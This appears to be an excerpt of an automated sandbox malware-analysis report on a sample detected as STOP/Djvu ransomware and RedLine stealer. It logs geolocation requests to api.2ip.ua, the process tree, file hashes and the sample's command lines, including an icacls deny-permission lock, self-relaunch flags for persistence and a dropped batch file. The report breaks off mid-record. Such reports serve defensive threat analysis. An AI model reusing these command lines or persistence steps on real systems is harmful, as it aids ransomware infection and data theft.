2024-07-25 00:00:42 UTC	481	IN	Data Raw: d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 37 32 31 61 31 37 31 65 30 32 33 32 34 30 31 62 30 32 35 63 30 37 31 33 34 64 30 31 30 37 31 30 31 38 31 37 31 31 30 36 34 66 34 30 31 62 30 32 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#721a171e0232401b025c07134d010710181711064f401b02
2024-07-25 00:00:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	188.114.96.3	443	7204	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:00:43 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:00:44 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8P%2BdwB9KNCy7l7YPqmACamurNVrw6t%2BW19ifE9KMbCIOl2kVocqRCTRpR82oIY24ZYEgT7NYkCISx5Y3MrKAIgz5RIvp2mcOZXvreQ%2BUb7SNwnTSlLNDWszORrXX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87df127f0f5e6e-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:00:44 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 35 35 64 35 30 35 39 34 35 37 35 30 37 35 63 34 35 31 62 35 38 35 30 30 61 34 36 34 30 35 37 35 66 35 30 35 36 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#355d50594575075c451b58500a4640575f5056
2024-07-25 00:00:44 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 61 65 32 65 66 65 36 66 61 63 61 62 38 65 33 66 61 61 34 66 66 65 62 62 35 66 39 66 66 65 38 65 30 65 66 65 39 66 65 62 37 62 38 65 33 66 61 61 34 66 66 65 62 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#8ae2efe6facab8e3faa4ffebb5f9ffe8e0efe9feb7b8e3faa4ffeb">
2024-07-25 00:00:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	188.114.96.3	443	7444	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:00:50 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:00:50 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Al2dSC82dXozXsBx%2BPCQiI6yZGE5jS62LRDlLcDrvoX4hdIO77823n4vY9K%2Betnzd%2Fm881cT5Ju%2FqmzzGe%2BTjIlQ8iJPdkwZaGhtfuz9YNDFufvCk9h7qeY0XdoK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87df3c6e1a7ca6-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:00:50 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 66 35 37 35 61 35 33 34 66 37 66 30 64 35 36 34 66 31 31 35 32 35 61 30 30 34 63 34 61 35 64 35 35 35 61 35 63 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#3f575a534f7f0d564f11525a004c4a5d555a5c
2024-07-25 00:00:50 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 39 33 31 33 63 33 35 32 39 31 39 36 62 33 30 32 39 37 37 32 63 33 38 36 36 32 61 32 63 33 62 33 33 33 63 33 61 32 64 36 34 36 62 33 30 32 39 37 37 32 63 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#59313c3529196b3029772c38662a2c3b333c3a2d646b3029772c
2024-07-25 00:00:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49731	188.114.96.3	443	7724	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:00:59 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:00:59 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QUJ0fJ8wCZLX5rwZrLuN2s36ThqG02Jve4GOB7ISYqLDTekCc0wyfBkQInI5jVxL0T6r%2BxKs8t9KNm8DtK3f%2FpbyqsauEhXRkuMUyUVoN%2FJZc00W4GA8JNxRvFfc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87df74483842fe-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:00:59 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 65 36 36 36 62 36 32 37 65 34 65 33 63 36 37 37 65 32 30 36 33 36 62 33 31 37 64 37 62 36 63 36 34 36 62 36 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#0e666b627e4e3c677e20636b317d7b6c646b6d
2024-07-25 00:00:59 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 61 61 32 61 66 61 36 62 61 38 61 66 38 61 33 62 61 65 34 62 66 61 62 66 35 62 39 62 66 61 38 61 30 61 66 61 39 62 65 66 37 66 38 61 33 62 61 65 34 62 66 61 62 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#caa2afa6ba8af8a3bae4bfabf5b9bfa8a0afa9bef7f8a3bae4bfab">
2024-07-25 00:00:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:00:33
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:00:33
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Imagebase:	0xb50000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:00:36
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:00:38
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x640000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:00:38
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:00:39
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5908 -s 1608
Imagebase:	0x190000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:00:40
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:00:40
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.2094369829.000000000227B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 97%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:00:42
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	20:00:48
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.2165690600.0000000002162000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:00:49
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:00:56
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.2254835976.00000000007F9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:00:56
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Imagebase:	0x8d0000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:00:58
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Imagebase:	0x400000
File size:	807'936 bytes
MD5 hash:	4748D9904E0EAEFDD79C1DC4C5142BE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:01:12
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
